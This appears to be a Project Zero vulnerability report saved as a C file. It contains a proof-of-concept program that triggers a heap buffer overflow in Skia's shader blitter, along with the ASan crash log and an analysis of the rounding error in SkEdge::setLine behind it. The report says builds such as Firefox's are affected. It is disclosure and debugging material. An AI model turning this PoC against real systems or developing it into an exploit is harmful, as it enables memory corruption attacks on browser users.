/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1155
Skia bug: https://bugs.chromium.org/p/skia/issues/detail?id=6294
There is a heap overflow in SkARGB32_Shader_Blitter::blitH caused by a rounding error in SkEdge::setLine. To trigger the bug Skia needs to be compiled with SK_RASTERIZE_EVEN_ROUNDING (true in, for example, Mozilla Firefox).
To demonstrate the bug, compile (with SK_RASTERIZE_EVEN_ROUNDING defined) and run the following Proof of Concept:
=================================================================
*/
int main (int argc, char * const argv[]) {
SkBitmap bitmap;
bitmap.allocN32Pixels(1128, 500);
//Create Canvas
SkCanvas canvas(bitmap);
SkColor colors[2] = {SkColorSetARGB(10,0,0,0), SkColorSetARGB(10,255,255,255)};
SkPoint points[2] = {
SkPoint::Make(0.0f, 0.0f),
SkPoint::Make(256.0f, 256.0f)
};
SkPath path;
path.moveTo(1128, 0.5);
path.lineTo(-0.499, 100.5);
path.lineTo(1128, 200);
path.close();
SkPaint p;
p.setAntiAlias(false);
p.setShader(SkGradientShader::MakeLinear(
points, colors, nullptr, 2,
SkShader::kClamp_TileMode, 0, nullptr));
canvas.drawPath(path, p);
return 0;
}
/*
=================================================================
The PoC leads to a heap overflow in SkARGB32_Shader_Blitter::blitH (the shader and anti aliasing settings in the PoC are made specifically to select this Blitter)
ASan log:
=================================================================
==46341==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001dea0 at pc 0x00000079d6d1 bp 0x7ffecd6a42c0 sp 0x7ffecd6a42b8
WRITE of size 4 at 0x62100001dea0 thread T0
0x62100001dea0 is located 0 bytes to the right of 4512-byte region [0x62100001cd00,0x62100001dea0)
allocated by thread T0 here:
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ifratric/skia/skia/out/asan/../../src/core/SkUtils.cpp:18:19 in sk_memset32(unsigned int*, unsigned int, int)
Shadow bytes around the buggy address:
0x0c427fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffbba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffbbb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fffbbc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffbbd0: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffbc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffbc10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fffbc20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone:fb
Freed heap region: fd
Stack left redzone:f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return:f5
Stack use after scope: f8
Global redzone:f9
Global init order: f6
Poisoned by user:f7
Container overflow:fc
Array cookie:ac
Intra object redzone:bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone:cb
==46341==ABORTING
Further analysis:
There is a problem in SkEdge::setLine, in particular the line with x0:-0.499900, y0:100.500000, x1:1128.000000, y1:0.500000
After conversion to SkFDot6, the coordinates are going to become x0:72192, y0:32, x1:-32, y1:6432
(notice how x0 got rounded to 32 == -0.5 but I don't think this is the only problem as it gets even smaller below)
Next the line parameters are computed as follows: fFirstY:1, fLastY:100, fX:73184256, fDX:-739573
And if you calculate fX + (fLastY-fFirstY) * fDX, you get -33471 (~ -0.51) which will get rounded to -1 in walk_convex_edges and cause an overflow.
*/